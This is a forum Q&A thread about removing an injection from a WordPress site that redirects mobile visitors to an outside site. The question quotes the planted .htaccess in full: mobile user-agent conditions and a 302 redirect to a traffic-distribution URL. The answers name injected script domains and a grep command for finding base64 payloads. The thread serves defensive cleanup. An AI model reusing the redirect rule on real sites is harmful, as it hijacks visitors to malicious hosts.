Can't find the script redirecting mobile traff

Question

I'm trying to fix a self-hosted WP site that uses a twenty twelve theme with minor customizaction (mainly CSS, not much php, all written by the previous webmaster).

I'm having trouble with mobile devices access. They all get redirected to a URI outside the site.

I have already "reseted" the htacces files. They looked like this:

RewriteEngine On 
RewriteCond %{HTTP_USER_AGENT} ^1207. (lot of other devices)
RewriteCond %{HTTP_ACCEPT} text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml [NC,OR]
RewriteCond %{HTTP:HTTP_X_WAP_PROFILE} .+ [OR]
RewriteCond %{HTTP:HTTP_PROFILE} .+ [OR]
RewriteCond %{HTTP:X-OperaMini-Features} .+ [OR]
RewriteCond %{HTTP:UA-pixels} .+
RewriteRule ^(.*)$ http://isupport.x24hr.com/tds/go.php?sid=1 [L,R=302]

And now I replaced it for the suggested htaccess in the Wordpress Codex. But when trying to acces with a phone it still get's redirected to the isupport.x24.com site, retrieving 404 in android and 502 in iOS.

The website is www.lagoabeachhostel.com

As you can imagine, im a newbie. I have already done hours of research but still can't sort this out. Seems to me that there's a piece of script somewhere that I can't find.

UPDATE: I installed and run the Anti-Malware Scan plugin. It retrieved .htaccess as a possible threat. Opening it I saw that the .htaccess file the plugin analyzed is still the old one, meaning that the one I uploaded via ftp didn't take effect thus explaining why the server still redirects mobile traffic. Any idea why this happens? How can I effectively change the .htaccess file?

Can you help me with this? I would really appreciate!

Answer 1

We had the same problem with http://letcaro.x24hr.com/js/couter.js in our source code. I found it with good old grep in here.

/wp-includes/post-template.php

The naughty thing to search for is:

grep -irn "base64_decode" | grep "eJzT189J"

in your website root

All the glory goes Mr. Peter Gramantik from http://forum.joomla.org/viewtopic.php?t=861333#p3244318

Thanks Peter for the find :)

Cheers hopefully this will save somebody's time.

Answer 2

The problem was all about .htaccess file showing differently through ftp in relation to the actual file in the server.

I thought I had corrected the .htaccess RewriteRule, because I had edited it through ftp. But when I accessed through the file administrator in cPanel I verified that the file uploaded via ftp was not really there.

I knew some hostings didn't allow to change this file via ftp, but I thought I would receive an error message in that case.

So, if something like this happens to you, remember to double check the file through cPanel even when you have changed it through ftp.

Answer 3

I had similar issue — my site got redirected to some bang site, but my .htaccess was clean. And the issue was only in mobile devices. So I installed HttpWatch on my iPhone and I was able to catch all requests from my mobile device and that app showed me content of JavaScript from http://letcaro.com/js/couter.js. A simple search through PHP files narrowed down to header.php in every theme I had.